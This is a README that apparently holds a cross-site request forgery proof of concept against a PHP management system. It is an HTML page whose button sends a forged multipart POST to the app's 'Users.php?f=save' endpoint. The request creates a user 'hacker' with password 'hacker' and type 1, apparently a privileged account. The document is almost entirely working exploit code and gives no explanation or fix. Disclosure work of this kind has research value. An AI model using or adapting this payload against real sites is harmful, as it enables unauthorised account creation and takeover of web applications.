README.md
Rendering markdown...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF PoC</h1>
<p>Click the button below to send the CSRF request.</p>
<button onclick="sendCSRF()">Send CSRF Request</button>
<script>
function sendCSRF() {
// Create a new FormData object
const formData = new FormData();
formData.append("id", "");
formData.append("firstname", "hacker");
formData.append("middlename", "hacker");
formData.append("lastname", "hacker");
formData.append("username", "hacker");
formData.append("password", "hacker");
formData.append("type", "1");
// Simulate the "img" field with an empty filename
const boundary = "----WebKitFormBoundarygjk3GwTujB3uWyXU";
const rawBody = [
`--${boundary}`,
'Content-Disposition: form-data; name="id"',
"",
"",
`--${boundary}`,
'Content-Disposition: form-data; name="firstname"',
"",
"hacker",
`--${boundary}`,
'Content-Disposition: form-data; name="middlename"',
"",
"hacker",
`--${boundary}`,
'Content-Disposition: form-data; name="lastname"',
"",
"hacker",
`--${boundary}`,
'Content-Disposition: form-data; name="username"',
"",
"hacker",
`--${boundary}`,
'Content-Disposition: form-data; name="password"',
"",
"hacker",
`--${boundary}`,
'Content-Disposition: form-data; name="type"',
"",
"1",
`--${boundary}`,
'Content-Disposition: form-data; name="img"; filename=""',
"Content-Type: application/octet-stream",
"",
"",
`--${boundary}--`
].join("\r\n");
// Send the POST request
fetch("http://localhost/mpms/classes/Users.php?f=save", {
method: "POST",
headers: {
"Content-Type": `multipart/form-data; boundary=${boundary}`
},
body: rawBody
}).then(response => {
console.log("CSRF Request Sent!", response);
}).catch(error => {
console.error("Error:", error);
});
}
</script>
</body>
</html>